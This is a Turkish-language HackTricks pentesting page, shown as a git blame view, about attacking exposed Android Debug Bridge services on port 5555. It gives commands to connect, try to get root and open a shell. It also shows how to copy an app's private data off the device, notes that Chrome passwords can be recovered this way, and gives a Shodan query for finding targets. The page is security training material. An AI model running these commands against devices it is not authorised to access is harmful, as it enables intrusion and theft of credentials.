hacktricks/network-services-pentesting/5555-android-debug-bridge.md

70 lines
4.1 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# 5555 - Android Debug Köprüsü
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
## Temel Bilgiler
2021-11-12 01:11:08 +00:00
2024-02-10 18:14:16 +00:00
[Belgelerden](https://developer.android.com/studio/command-line/adb) alınan bilgilere göre:
2024-02-08 21:36:35 +00:00
2024-02-10 18:14:16 +00:00
**Android Debug Köprüsü** (adb), bir cihazla iletişim kurmanızı sağlayan çok yönlü bir komut satırı aracıdır. adb komutu, **uygulamaların yüklenmesi ve hata ayıklanması** gibi çeşitli cihaz eylemlerini kolaylaştırır ve bir cihazda çeşitli komutları çalıştırmak için kullanabileceğiniz bir **Unix kabuğuna erişim sağlar**.
2021-11-12 01:11:08 +00:00
2024-02-10 18:14:16 +00:00
**Varsayılan port**: 5555.
2021-11-12 01:11:08 +00:00
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
2024-02-10 18:14:16 +00:00
## Bağlan
2021-11-12 01:11:08 +00:00
2024-02-10 18:14:16 +00:00
Eğer bir cihazın bir bağlantı noktasında çalışan ADB hizmetini bulursanız ve buna bağlanabilirseniz, **sistem içinde bir kabuk alabilirsiniz:**
2021-11-12 01:11:08 +00:00
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
2024-02-10 18:14:16 +00:00
Daha fazla ADB komutu için aşağıdaki sayfayı kontrol edin:
2021-11-12 01:11:08 +00:00
2022-05-01 13:25:53 +00:00
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
2021-11-12 01:11:08 +00:00
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
### Uygulama verilerini dökümleme
2021-11-12 01:11:08 +00:00
2024-02-10 18:14:16 +00:00
Bir uygulamanın verilerini tamamen indirmek için şunları yapabilirsiniz:
2021-11-12 01:11:08 +00:00
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
2024-02-10 18:14:16 +00:00
Bu hileyi kullanarak **chrome şifreleri gibi hassas bilgileri alabilirsiniz**. Bu konuyla ilgili daha fazla bilgi için [**buradaki**](https://github.com/carlospolop/hacktricks/issues/274) bilgilere ve referanslara bakabilirsiniz.
2022-05-01 13:25:53 +00:00
## Shodan
* `android debug bridge`
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>